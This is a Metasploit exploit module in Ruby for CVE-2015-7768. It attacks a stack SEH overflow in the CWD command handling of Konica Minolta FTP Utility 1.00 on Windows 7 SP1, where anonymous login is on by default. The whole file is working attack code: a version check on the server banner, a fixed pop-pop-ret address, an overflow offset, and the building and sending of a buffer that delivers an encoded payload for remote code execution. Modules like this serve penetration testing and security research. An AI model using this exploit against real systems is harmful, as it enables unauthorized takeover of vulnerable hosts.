1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = NormalRanking
8

9
  include Msf::Exploit::Remote::Ftp
10
  include Msf::Exploit::Seh
11

12
  def initialize(info = {})
13
    super(
14
      update_info(
15
        info,
16
        'Name' => 'Konica Minolta FTP Utility 1.00 Post Auth CWD Command SEH Overflow',
17
        'Description' => %q{
18
          This module exploits an SEH overflow in Konica Minolta FTP Server 1.00.
19
          Konica Minolta FTP fails to check input size when parsing 'CWD' commands, which
20
          leads to an SEH overflow.  Konica FTP allows anonymous access by default; valid
21
          credentials are typically unnecessary to exploit this vulnerability.
22
        },
23
        'Author' => [
24
          'Shankar Damodaran', # stack buffer overflow dos p.o.c
25
          'Muhamad Fadzil Ramli <mind1355[at]gmail.com>' # seh overflow, metasploit module
26
        ],
27
        'License' => MSF_LICENSE,
28
        'Notes' => {
29
          'Stability' => [],
30
          'SideEffects' => [],
31
          'Reliability' => []
32
        },
33
        'References' => [
34
          [ 'CVE', '2015-7768' ],
35
          [ 'EDB', '37908' ]
36
        ],
37
        'Privileged' => false,
38
        'Payload' => {
39
          'Space' => 1500,
40
          'BadChars' => "\x00\x0a\x2f\x5c",
41
          'DisableNops' => true
42
        },
43
        'Platform' => 'win',
44
        'Targets' => [
45
          [
46
            'Windows 7 SP1 x86',
47
            {
48
              'Ret' => 0x12206d9d, # ppr - KMFtpCM.dll
49
              'Offset' => 1037
50
            }
51
          ]
52
        ],
53
        'DisclosureDate' => '2015-08-23',
54
        'DefaultTarget' => 0
55
      )
56
    )
57
  end
58

59
  def check
60
    connect
61
    disconnect
62

63
    if banner =~ /FTP Utility FTP server \(Version 1\.00\)/
64
      return Exploit::CheckCode::Detected
65
    else
66
      return Exploit::CheckCode::Safe
67
    end
68
  end
69

70
  def exploit
71
    connect_login
72

73
    buf = rand_text(target['Offset'])
74
    buf << generate_seh_record(target.ret)
75
    buf << payload.encoded
76
    buf << rand_text(3000)
77

78
    print_status("Sending exploit buffer...")
79
    send_cmd(['CWD', buf], false) # this will automatically put a space between 'CWD' and our attack string
80

81
    handler
82
    disconnect
83
  end
84
end
85

86